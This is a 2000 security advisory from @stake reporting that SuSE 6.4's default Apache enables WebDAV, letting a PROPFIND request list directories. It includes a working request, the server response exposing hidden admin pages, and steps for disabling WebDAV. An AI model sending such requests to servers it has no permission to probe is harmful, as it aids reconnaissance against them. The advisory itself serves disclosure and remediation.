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@stake Advisory: SuSE Apache WebDAV Directory Listings (A090700-3 )
From: "@stake Advisories" <advisories () ATSTAKE COM>
Date: Thu, 7 Sep 2000 12:14:11 -0400

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                               @stake Inc.
                            www.atstake.com
                       www.cerberus-infosec.co.uk

                           Security Advisory


Advisory Name: SuSE Apache WebDAV Directory Listings (A090700-3)
 Release Date: 09/07/2000
  Application: Apache 1.3.12
     Platform: SuSE Linux 6.4
     Severity: Attackers are able to retrieve directory listings
       Author: mnemonix (dlitchfield () atstake com)
Vendor Status: Vendor has updated Apache package
          Web: www.atstake.com/research/advisories/2000/a090700-3.txt


Overview:       

WebDAV (Web Distributed Authoring and Versioning) is an extention to the
HTTP (Hypertext Transfer Protocol) 1.1 protocol, the protocol that drives
the Web, and is discussed in RFC 2518
(ftp://ftp.isi.edu/in-notes/rfc2518.txt). Essentially WebDAV exists to
allow users to create, edit and share documents over the Internet or
Intranets using the HTTP protocol. To facilitate this new REQUEST METHODS
have been added on top of the standard GET, POST and HEAD methods such as
PROPFIND, PROPATCH, MKCOL, COPY, DELETE,and PUT.  Detailed Description:
One of these, PROPFIND is of interest, as far as this particular issue is
concerned anyway. PROPFIND exists to allow users to search for certain
properties of resources such as the displayname, when last modified etc,
etc.  The Apache web server as installed by SuSE 6.4 has WebDAV "turned
on". By making a request to the web server similar to the following it is
possible to gain what amounts to a directory listing:

suse~: # telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
PROPFIND / HTTP/1.1
Host: suse
Content-Type: text/xml
Content-Length: 110

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
 <a:prop>
  <a:displayname/>
 </a:prop>
</a:propfind>

HTTP/1.1 207 Multi-Status
Date: Sun, 20 Aug 2000 17:38:58 GMT
Server: Apache/1.3.12 (Unix)  (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14
mod_perl/1.21 PHP/3.0.15
Transfer-Encoding: chunked
Content-Type: text/xml; charset="utf-8"

dc1
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/secret/secret/sql_tool.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/change-passwd.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/add-user.shmtl</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webalizer/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/test.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/date.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/linbot/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/robots.txt</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/index.html</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/gif/u_arrow.gif</D:href>
<D:propstat>
<D:prop>
</D:prop>
..
- ---cut-----

What are the security ramifications of this? As can be seen by looking at
the server's response one can see a directory called /secret/secret/ with
three files stored there called sql_tool.shtml, add-user.shtml and
change-passwd.shtml. These pages exist for administration purposes and
there are no links to these pages from the site. To be able to access them
a user needs to know of their existence - a poor method of access control
- - but one which is quite common. Further to this it would be possible to
look for files that may have been left by developers, such as test.shtml
or script.cgi.old, which often allow greater access than their production
version equivalents or due to a .old or .bak file extention are not
executed but access to the source can be gained.


Solution:

        If you want to leave WebDAV enabled for some directories open
httpd.conf in your text editor of choice, e.g. pico or vi and add the
following for each directory you want to enable WebDAV for:

        <Directory /webdav/directory/goes/here>
        #add other directives as needed such as Order allow,deny
                <IfDefine DAV>
                        DAV On
                </IfDefine>
        </Directory>

Stop and restart Apache.


If you want to simply turn WebDAV off: Open up httpd.conf and find

        <IfDefine DAV>
        DAV On
        </IfDefine>

and change "On" to "Off". By default there is only one directory with the
IfDefine DAV directive, namely "/usr/local/httpd/htdocs". If other
directories have been given this directive change these too. Stop and
restart Apache.

If you want to Apache to start without the WebDAV module then edit
/etc/rc.d/rc3.d/S20apache and place a "#"  in front of the line that reads

        test -e /usr/lib/apache/libdav.so && MODULES="-D DAV $MODULES"

By doing this when Apache is next started this module will not be
included.


Vendor Response:

SuSE have updated their Apache package and more information is available
from http://www.suse.de/de/support/security/


For more advisories: http://www.atstake.com/research/index.html
PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.






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